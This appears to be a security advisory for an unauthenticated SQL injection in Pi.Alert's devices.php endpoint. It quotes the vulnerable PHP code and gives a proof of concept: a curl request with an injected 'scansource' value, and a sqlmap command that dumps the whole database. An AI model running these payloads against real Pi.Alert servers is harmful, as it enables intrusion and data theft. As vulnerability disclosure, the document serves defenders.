💡 This is tracked as CVE-2026-44886.
Pi.Alert (>= 2024-06-29) is vulnerable to SQL injection, allowing attackers to dump all data in the database. The vulnerable endpoint accepts requests from unauthenticated attackers, even when password authentication is enabled. The /pialert/php/server/devices.php route accepts unauthenticated requests when the action=getDevicesTotals parameter is passed. The scansource URL parameter is then used to construct the SQL query without proper sanitisation. Code Flow All code snippets can be found in /pialert/php/server/devices.php. Firstly, we set ?action=getDevicesTotals to bypass the auth check. if ($_SESSION["login"] != 2) { if ($_REQUEST['action'] != "getDevicesTotals") { header('Location: ../../index.php'); exit; } } ?action=getDevicesTotals results in getDevicesTotals() getting called. if (isset($_REQUEST['action']) && !empty($_REQUEST['action'])) { $action = $_REQUEST['action']; switch ($action) { //... case 'getDevicesTotals':getDevicesTotals(); break; //... } getDeviceTotals() constructs a raw SQL query using user provided input. Part of the query is constructed from getDeviceCondition(..., $_REQUEST['scansource']). function getDevicesTotals() { global $db;
if (!$_REQUEST['scansource']) {$scansource = 'local';} else {$scansource = $_REQUEST['scansource'];}
// Step 3: Pass `?scansource=<PAYLOAD>` to `getDevicesTotals()` and inject into SQL query
$result = $db->query(
'SELECT
(SELECT COUNT(*) FROM Devices ' . getDeviceCondition('all',$scansource) . ') as devices,
(SELECT COUNT(*) FROM Devices ' . getDeviceCondition('connected',$scansource) . ') as connected,
(SELECT COUNT(*) FROM Devices ' . getDeviceCondition('favorites',$scansource) . ') as favorites,
(SELECT COUNT(*) FROM Devices ' . getDeviceCondition('new',$scansource) . ') as new,
(SELECT COUNT(*) FROM Devices ' . getDeviceCondition('down',$scansource) . ') as down,
(SELECT COUNT(*) FROM Devices ' . getDeviceCondition('archived',$scansource) . ') as archived,
(SELECT COUNT(*) FROM Devices ' . getDeviceCondition('presence',$scansource) . ') as presence
');
// Step 5: SQL query is executed
$row = $result->fetchArray(SQLITE3_NUM);
echo json_encode(array($row[0], $row[1], $row[2], $row[3], $row[4], $row[5], $row[6]));
}
getDeviceCondition(...) does not perform sanitisation as can be seen below.
function getDeviceCondition($deviceStatus, $scansource) {
if ($scansource == "all") {$scansource_query = "";} else {$scansource_query = 'dev_ScanSource="'.$scansource.'" AND ';}
switch ($deviceStatus) {
case 'all':return 'WHERE '.$scansource_query.'dev_Archived=0';
break;
case 'connected':return 'WHERE '.$scansource_query.'dev_Archived=0 AND dev_PresentLastScan=1';
break;
case 'favorites':return 'WHERE '.$scansource_query.'dev_Archived=0 AND dev_Favorite=1';
break;
case 'new':return 'WHERE '.$scansource_query.'dev_Archived=0 AND dev_NewDevice=1';
break;
case 'down':return 'WHERE '.$scansource_query.'dev_Archived=0 AND dev_AlertDeviceDown=1 AND dev_PresentLastScan=0';
break;
case 'archived':return 'WHERE '.$scansource_query.'dev_Archived=1';
break;
case 'presence':return 'WHERE '.$scansource_query.'dev_Archived=0 AND dev_PresencePage=1';
break;
default: return 'WHERE '.$scansource_query.'AND 1=<Cloudflare :(>';
break;
}
}
PoC
Firstly, check if the server is vulnerable.
curl
--get
--data 'action=getDevicesTotals'
--data-urlencode 'scansource=local" OR "1"="1'
'http://<host>/pialert/php/server/devices.php'
Example output
#[9,9,9,9,9,9,9]
An array of identical numbers that are not zero indicated the server is vulnerable.
Secondly, use sqlmap to exfiltrate data in the database.
sqlmap
-u 'http://<host>/pialert/php/server/devices.php?action=getDevicesTotals&scansource=local'
-p scansource
--batch
--level=2
--dump-all
Disclosure Timeline
05/03/2026- Research started on version "2026-03-20".
18/03/2026 - SQL injection vulnerability disclosed.
06/05/2026 - Patched in commit 024cfdf in version.
Web Interface Vulnerable to Unauthenticated Blind SQL Injection
Summary The web application endpoint is vulnerable to SQL injection. Attackers can dump all data in the database. The vulnerable endpoint permits requests from unauthenticated attackers, even…
GitHubleiweibau